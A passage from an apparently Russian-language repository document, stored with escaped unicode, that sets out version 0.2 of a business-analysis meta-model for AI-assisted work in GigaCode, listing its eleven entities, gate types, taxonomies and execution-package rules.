\u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\\n> ([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n\\n## \u0417\u0430\u0447\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\n\\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 \u0411\u0410 \u043a 2026-09-08 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043f\u044f\u0442\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\\n(`M0`\u2013`M4`) \u0438 \u0434\u0432\u0443\u0445 \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0441\u0435\u0439 \u2014 \u043c\u0430\u043a\u0440\u043e (`methodology-unification/`) \u0438\\n\u043c\u0438\u043a\u0440\u043e (`artifact-micro-structure/`). \u041a\u0430\u0436\u0434\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u0441\u0432\u044f\u0437\u0435\u043d, \u043d\u043e \u043c\u0435\u0436\u0434\u0443\\n\u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443: \u0433\u0435\u0439\u0442\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0440\u0438\u0436\u0434\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\\n\u043d\u0430\u0432\u044b\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0436\u0438\u0432\u0451\u0442 \u0438 \u0432 `M3`, \u0438 \u0432\\n\u0448\u0430\u0433\u0435 `S7` \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u0438.\\n\\nIssue [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)\\n\u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0442\u0435\u043e\u0440\u0438\u0438 \u0438 \u0441\u0442\u0430\u0432\u0438\u0442 \u0434\u0432\u0435 \u0437\u0430\u0434\u0430\u0447\u0438: **\u0441\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\\n\u043e\u0434\u043d\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438** \u0438 **\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437 \u043d\u0435\u0451 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442**,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0432 GigaCode. \u041c\u043e\u0434\u0443\u043b\u044c \u043d\u0435\\n\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u043e\u0432\u0435\u0440\u0445 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u2014 \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0430 \u043a\u0430\u043a\u0438\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438.\\n\\n**\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438 (\u0432\u0435\u0440\u0441\u0438\u044f 0.2).** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u0434\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode. \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c **\u043d\u0435\\n\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f**: `L0` \u0438 `L1` \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u044b \u0438\u0437 BABOK Guide v3\\n\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043f\u043e \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044e, \u0430 `L2`, `L3` \u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u044b \u0438\u0437 \u043e\u0434\u043d\u043e\u0439\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b\\n([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md)),\\n\u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n**\u0427\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044f 0.2**\\n([issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `System` \u0438 `Actor` \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438, `Skill` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n\u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0438 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u043d\u044b \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0430\u0437\u0438\u0441\u0435, \u0430\\n\u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0441\u043f\u0438\u0446\u044b \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n\u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\\n\\n## BLUF: \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439.** `Product`, `System`,\\n   `Artifact`, `Operation`, `Skill`, `Process`, `Route`, `Actor`, `Gate`,\\n   `Contract`, `Trace`. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u043a\\n   \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u2014 \u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u043b\u0430 `Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014\\n   \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0430\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72).\\n2. **\u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0430\u0440\u043e\u0439 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb.**\\n   \u0420\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (`stepwise`, `oneshot`, `legacy`) \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\\n   \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0451\u043d \u0432 `deprecated`\\n   ([ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)).\\n   \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 13 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432\\n   \u0440\u0435\u0436\u0438\u043c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u2014 0.077.\\n3. **\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043d\u0430\u0432\u044b\u043a\u0438 (1:N) \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (1:N).** \u041d\u0430\u0432\u044b\u043a \u2014 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441**: \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c,\\n   \u0433\u0435\u0439\u0442\u043e\u043c \u0438 \u043f\u0440\u0430\u0432\u043e\u043c \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e\\n   \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0422\u0440\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\\n   (\u043f\u0440\u043e\u043c\u043f\u0442), \u0440\u0430\u0437\u0432\u0435\u0434\u0435\u043d\u044b \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c \u00ab\u043c\u043d\u043e\u0433\u0438\u0435 \u043a\\n   \u043e\u0434\u043d\u043e\u043c\u0443\u00bb\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a74).\\n4. **\u0413\u0435\u0439\u0442 \u2014 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0441 \u0442\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c\u0438.** `G-self` (\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n   \u0441\u0435\u0431\u044f), `G-mach` (\u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440), `G-human` (\u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2014 \u043d\u0435 \u0442\u0440\u0438 \u0442\u0438\u043f\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437 \u0442\u0440\u0451\u0445\\n   \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0430 \u0442\u0440\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044f `executor` \u043e\u0434\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b\\n   `HG-0`\u2026`HG-8` \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f **\u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u043c\u0438** `G-human`, \u0430 \u043d\u0435 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u043c\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0451\u043c.\\n5. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0433\u0435\u0439\u0442\u0430.** \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u2014 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.\\n   \u041e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d.\\n6. **\u041f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e.** `Trace` \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434. \u0411\u0435\u0437 \u043d\u0435\u0451 \u043d\u0438 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430\\n   \u043d\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u043c\u0430: \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u043d\u0430 \u043e\u0434\u0438\u043d\\n   \u043f\u0440\u043e\u043c\u043f\u0442, \u0442\u043e \u0435\u0441\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0432\u0445\u043e\u0434 \u2192 \u0440\u0430\u0431\u043e\u0442\u0430 \u2192 \u0432\u044b\u0445\u043e\u0434\u00bb \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n7. **\u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u043f\u044f\u0442\u0430\u044f \u2014 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f.** \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432\\n   \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f: \u043e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u044b, \u0430 \u0435\u0451 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\\n   ([`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77).\\n8. **\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0430.** \u0423\u0440\u043e\u0432\u043d\u0438\\n   `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 Source \u0447\u0438\u0441\u0442\u044b\u043c\\n   \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u043e\u043c\\n   ([`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md));\\n   \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u043f\u043e\u043a\u0435.\\n9. **Execution Package \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.** \u0412 \u043f\u0430\u043a\u0435\u0442 \u0443\u0445\u043e\u0434\u044f\u0442 \u0441\u0435\u043c\u044c\\n   \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0444\u0430\u0439\u043b\u043e\u0432; \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f. \u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n   `SKILL.md` \u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d: \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e\\n   \u0432\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0432 \u043d\u0451\u043c \u043d\u0435\u0442, \u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u043b\u043e\u0451\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0432\u043e frontmatter\\n   ([`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md), \u00a73).\\n10. **\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435.** MVP \u2014 `BCREQ` \u0434\u043b\u044f\\n    \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430: \u043e\u0434\u0438\u043d \u043c\u0430\u0440\u0448\u0440\u0443\u0442, \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0430\u0432\u044b\u043a\u0430, \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430, \u043f\u044f\u0442\u044c\\n    \u043c\u0435\u0442\u0440\u0438\u043a. \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0438 \u043d\u0430 \u043d\u0451\u043c\\n    ([`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md), \u00a74).\\n\\n11. **\u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e \u043f\u0440\u043e\u0448\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441 \u043d\u043e\u0432\u043e\u0439\\n    \u043d\u043e\u0440\u043c\u044b.** \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0434\u0430\u044e\u0442 \u0444\u0430\u043a\u0442\u044b \u043e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0438 \u043d\u0435 \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438\\n    \u043b\u043e\u0433\u0438\u043a\u0443 \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `LG-1`\u2026`LG-6`, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n    (`derived_from`, `EP-C6`, 